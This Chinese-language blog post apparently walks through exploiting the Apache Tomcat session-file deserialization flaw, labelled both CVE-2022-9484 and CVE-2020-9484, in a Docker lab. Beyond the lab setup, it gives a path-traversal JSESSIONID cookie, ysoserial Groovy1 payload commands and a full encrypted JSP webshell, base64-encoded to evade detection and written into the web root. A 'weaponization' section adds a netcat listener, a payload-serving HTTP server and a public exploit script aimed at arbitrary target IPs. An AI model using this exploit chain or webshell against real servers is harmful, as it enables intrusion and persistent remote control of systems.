CVE-2022-9484 Apache Tomcat Session 漏洞利用

CVE-2022-9484 Apache Tomcat Session 漏洞利用

配置靶场

拉取靶场环境。

docker pull vulfocus/tomcat-cve_2020_9484
docker run -d --name tomcat-cve_2020_9484 -p 8080:8080  vulfocus/tomcat-cve_2020_9484:latest

Docker 拉取镜像太慢换源

sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": [
    "https://yxzrazem.mirror.aliyuncs.com",
    "https://registry.docker-cn.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://hub-mirror.c.163.com",
    "https://mirror.baidubce.com"
  ]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

https://yxzrazem.mirror.aliyuncs.com 这个镜像非常快,推荐使用。

Docker 常用命令

# 拉取镜像
docker pull tomcat:jdk8-openjdk 
docker pull tomcat:8.5.55-jdk8-openjdk
# 查看镜像
docker images  
# 进入容器, 当前目录还是在tomcat镜像生成的容器目录下,可以使用:ctrl+p+q不退出容器的方式返回到宿主机目录下
docker exec -it f8ca37b5df5d /bin/bash
#出容器
ctrl+p+q
# 使用:ctrl+p+q不退出容器的方式返回到宿主机目录下
# 重启容器
docker restart 容器ID
docker restart 31290cf1cc00
# 停止容器
docker stop 容器id
docker stop 31290cf1cc00
# 启动一个已经停止的容器实例
docker start 容器名称 或者 容器id tomcat_contract
docker start 31290cf1cc00
# 删除容器,可使用 -f 参数强制删除容器
docker rm 31290cf1cc00
# 查看所有的容器
docker ps -a 
# 查看运行中的容器
docker ps 
# 运行镜像
docker run -d --name tomcat_test -p 8088:8080  7254ff7719c0
docker run -d --name tomcat_test -v /etc/localtime:/etc/localtime -p 2080:8080 tomcat:latest
# 保存镜像成一个文件。
docker save -o tomcat-8.5.55-jdk8-openjdk-dev-v0.1.tar tomcat-8.5.55-jdk8-openjdk-dev:v0.1
# 从容器拷贝文件到宿主机
docker load < hangge_server.tar
# docker cp 容器名:容器中要拷贝的文件名及其路径 要拷贝到宿主机里面对应的路径,拷贝容器中 tomcat的conf目录 到 宿主机 的 home/tomcat 目录下
docker cp 827e39c506b1:/usr/local/tomcat/conf /home/tomcat_contract/
# 拷贝容器中 tomcat的webapps目录 到 宿主机 的 home/tomcat 目录下
docker cp 827e39c506b1:/usr/local/tomcat/webapps /home/tomcat_contract/
# 删除images, 使用 docker load 命令则可将这个镜像文件载入进来。
docker rmi 6e07337dc2a2

Groovy 执行漏洞

测试(在Docker中)

图0

BurpSuit 抓包,修改请求头,添加Cookie: redirect=1; JSESSIONID=../../../../../usr/local/tomcat/groovy,就能读到主目录下的文件。

图1

图2

图5

靶机上tmp目录生成了rce,存在漏洞。

Payload构造(在攻击机上)

生成payload,最好在目标靶机同系统的Linux上。

下载ysoserial漏洞利用工具,如果下载失败,上官网clone项目,然后apt install maven安装包构建工具,再在ysoserial主目录下mvn clean package -DskipTests生成jar包。

使用方法
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

图3

在本机目录下生成了test.session文件。文件内容是包含"touch /tmp/2333"命令的。

图4

使用以下命令网文tomcat服务

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

图7

图6

图8

总结注意

Groovy示例代码和test说明了,需要目标靶机存在可以被攻击机上上传修改内容的test.seesion的文件,或者攻击机通过别的方式写入session文件,知道session可以访问的路径再请求。可用于tomcat文件上传漏洞中被限制了上传jsp后缀内容的绕过

图9

图12

进阶利用

图10

生成jsp木马,将木马文件放到可访问的目录下,冰蝎或哥斯拉链接。JSP内容如下:

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

将其编码为base64,这样就没有括号双引号等干扰,也可绕过一些检测。

PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4=

构造payload,

java -jar ysoserial-all.jar Groovy1 "echo PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4= | base64 -d > /usr/local/tomcat/webapps/ROOT/passkeybase64d.jsp" > passkeybase64d.session

注意/usr/local/tomcat/webapps/ROOT/ 为本次演示靶机的tomcat运行目录,tomcat8080页面运行目录一般在/webapps/ROOT/下,请注意路径可访问。演示时上传成功后不会执行,存在问题。

图11

武器化

在可以运行Java8的攻击机上运行以下命令,已经添加了代理访问Github快速。

cd /opt && git clone https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial

cd /opt/ysoserial && wget https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial-master.jar

cd /opt && git clone https://mirror.ghproxy.com/https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh

图13

vim CVE-2020-9484.sh # remote_ip="10.10.15.108" 你的攻击机公网ip # change this
nc -nvlp 4444
cd /tmp && python3 -m http.server 80
./CVE-2020-9484.sh target-ip

这个利用的是上传漏洞,要有上传页面,upload.jsp。

参考链接

  1. https://blog.csdn.net/qq_40898302/article/details/124291764
  2. https://blog.csdn.net/weixin_56306210/article/details/137669204
  3. https://blog.csdn.net/just_for_that_moment/article/details/125308103
  4. https://www.freebuf.com/sectool/394849.html
  5. https://github.com/frohoff/ysoserial
  6. https://www.secpulse.com/archives/163637.html
  7. https://github.com/PenTestical/CVE-2020-9484

样例目录Session泄露

很鸡肋 </examples/servlets/servlet/SessionExample> 目录下有session会话模板,可以利用。

图14

参考链接

  1. https://saucer-man.com/information_security/507.html
  2. https://blog.csdn.net/qq_48985780/article/details/121421440
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值